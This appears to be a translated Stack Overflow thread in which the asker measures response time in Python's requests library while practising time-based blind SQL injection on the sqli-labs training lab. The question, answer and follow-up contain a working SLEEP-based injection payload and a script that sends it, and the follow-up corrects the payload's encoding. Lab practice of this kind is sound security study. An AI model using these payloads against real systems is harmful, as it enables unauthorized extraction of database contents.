我试图在来自web应用程序的HTTP响应中引入人为延迟(这是一种用于执行盲目SQL注入的技术)。如果以下HTTP请求是从浏览器发送的,则web服务器的响应将在3秒后返回(由睡眠(3)引起):
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+我正尝试在Python2.7中使用requests库来做同样的事情。我的代码是:
import requests
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip我预计往返时间是3秒,但我得到的值是0.001371、0.001616、0.002228等。我是否没有正确使用elapsed属性?
发布于 2015-05-26 04:39:10
elapsed测量从发送请求到完成解析响应头之间的时间,而不是在传输完整响应之前的时间。
如果你想测量这个时间,你需要自己测量它:
import requests
import time
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip发布于 2015-05-26 14:40:13
我发现我的有效载荷应该是
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}
原始负载中的最后一个字符'+‘将被传递到后端数据库,这会导致无效的SQL语法。我不应该在有效负载中进行任何手动编码。
https://stackoverflow.com/questions/30442757
复制相似问题